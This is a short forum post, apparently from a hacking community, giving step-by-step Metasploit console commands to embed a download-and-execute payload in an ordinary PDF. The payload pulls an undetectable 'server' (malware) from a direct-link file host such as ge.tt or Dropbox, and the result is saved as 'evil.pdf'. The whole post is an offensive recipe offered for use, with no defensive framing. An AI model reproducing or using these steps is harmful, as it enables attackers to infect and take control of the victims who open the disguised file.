[Corrupt]

Didn't see this shit anywhere on here, so I might as well share.

Materials:
Any .pdf file of your choosing
Metasploit
Fully-Undetectable Server

First, you're going to have to upload your Server to a site with direct linking.

Such as, ge.tt or dropbox.

Step 1: Open up the metasploit console.

Step 2: Type into the console

Code:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

Step 3: Type into the console

Code:

set payload windows/download_exec

Step 4: Type into the console

Code:

set INFILENAME <path to your pdf>

Step 5: Type into the console

Code:

set url <direct link to server>

Step 6: Type into the console

Code:

Exploit

The backdoored .pdf will be saved to the same directory as the original .pdf with the filename of 'evil.pdf'.